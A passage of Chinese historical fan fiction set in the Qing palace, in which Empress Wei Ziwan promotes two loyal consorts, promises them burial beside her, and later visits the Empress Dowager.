慧妃无动于衷,她知道贵妃之位已满,就算后宫大封,也轮不到她了,何况皇后就算能说服万岁爷册封贵妃,必然得是提拔自己人。 她跟皇后算不上老死不相往来,但起初,她确实跟皇后不和。 果然,这次大封的结果正是皇后明晃晃的私心。 婉妃为婉贵妃,颖嫔为颖妃。 当然,舒嫔封妃,为舒妃。 永璐的生母柏氏封嫔,无封号。 这次大封看似没落下宫里的老人,可谁不知道,比起无生养之功又一贯不得宠的婉贵妃,纯妃、慧妃和愉妃都比婉贵妃更有资格为贵妃。 而舒妃比起颖妃有生养之功,这次还是颖妃封妃了,舒妃才被册封妃位。 皇后就是偏心了。 婉贵妃和颖妃从容不迫受了这份看重,即便对上宫中妃子艳羡的目光,也毫无波澜。 颖妃一改往日的活泼欢快,冷笑道:“她们只觉得我们走运,攀附上娘娘便有了好日子,可娘娘本来就是极好极好的人,我给娘娘付出我的忠心,我心甘情愿,又岂是她们说的投机取巧,见机行事。” 婉贵妃语气淡淡,“惯来都有口出狂言之人,何必将她们放在心上,折辱了娘娘。” 颖妃点头,“自是如此,就让她们这辈子都悟不透想不通吧,只不过,这次大封后,不知何时我才能封贵妃。” 虽说皇后都是跟万岁爷合葬的,可是大清出过不少跟皇帝合葬的皇贵妃。 若是她们活得久,有机会升为皇贵妃,就能跟皇上合葬,换句话来说,便是能跟娘娘死后在同一方天地了,多让人欢喜。 “不过——”颖妃颇有些得意道:“我比你更迟升妃,我肯定随娘娘那边。” 婉贵妃蹙眉,万岁爷废后了,那身边唯一能合葬的皇后只有娘娘一人,那其次的肯定是最早封皇贵妃的妃子。 她并不想随万岁爷那边,她只想长久伴着娘娘,即便给娘娘做牛做马,她也是乐意的。 婉贵妃难得不讲道理跟皇后娘娘说起这事,“娘娘,妾身不管,妾身就是想随着您。” 颖妃瞪大眼睛,“婉贵妃,你何时这般不讲理了。” 婉贵妃冷笑,“事关娘娘,我要是跟你讲理,谁给我好受。” “停,都给本宫冷静些。”魏紫菀脸色颇冷,“本宫还好好活着,我们三人日后度过的日子还长着呢,你们俩不管是谁都不许给本宫提起日后之事。” 她都不能保证活得过皇帝,也不能保证永琮活得过皇帝,她没有十成信心将两个姐妹都封做皇贵妃,所以不管死后的事了,只谈生前的好日子。 颖妃抿了抿唇,“娘娘,可事关黄泉路上的安息,您总得给妾身一个心安吧。” 婉贵妃不说话了,只用一双幽怨的眼看着她。 魏紫菀顿了一下,“本宫不能保证以后,但不管是本宫还是永琮,但凡是我们俩有一人活着,你们必然得是皇贵妃,跟本宫合葬。” 这是她在万般不确定下唯一能做出的保证了。 “这样就好了啊。”婉贵妃嫣然一笑,“这种事本来就是看运道的,娘娘有这份心就好,妾身会一直牢记在心上。” 颖妃也道:“娘娘必然长命百岁,我们俩不管谁先走,总会在黄泉下等着娘娘的。” 虽说话糙理不糙,魏紫菀心里叹道,但这话未免太糙了。 活得好好的就想着死后的事情了。 婉贵妃又道:“所以娘娘别怕。” 魏紫菀愣住了。 颖妃认真道:“娘娘不要害怕,我们都陪着您。” 魏紫菀笑了,语气轻柔,“好,我们约定好了。” 说来也奇怪,两人说完这话后,她心里一直存在的惶惶不安,好似一下子消失了。 消失得一干二净。 人生得两至亲好友,此生无悔。 …… 魏紫菀成为皇后之后,去见了面皇太后。 只见皇太后神色别扭,“你跟皇帝闹的那些,哀家真看不透了。” “皇额娘,您看不透那就别看了,万岁爷是您儿子,儿媳是您儿媳,您只要知道,无论发生什么,都不耽搁儿媳跟您要好就行。” 皇太后道:“你跟哀家要好?你不是跟裕贵太妃最要好?” “那可就说不定了,裕额娘,您说是吧。” 裕贵太妃揽着和静和恪两个小孙女,忍俊不禁,“熹姐姐,紫菀这性子你还看不透?您只管明白,她不会跟我们离了心就好。” 皇太后哼了一声,“还不过来?” 魏紫菀依言过去,皇太后拍了拍自己大腿,“躺下来吧,哀家帮你梳头。” 魏紫菀有些诧异,却也听话躺下来了,将头发散开。 皇太后得意道:“哀家再怎么说都是福寿之人,哀家亲自帮你梳的头,那是有大福报的,你将来若是不似哀家福寿双全,就枉费哀家的用心了。” 魏紫菀笑道:“必然如皇额娘所愿。”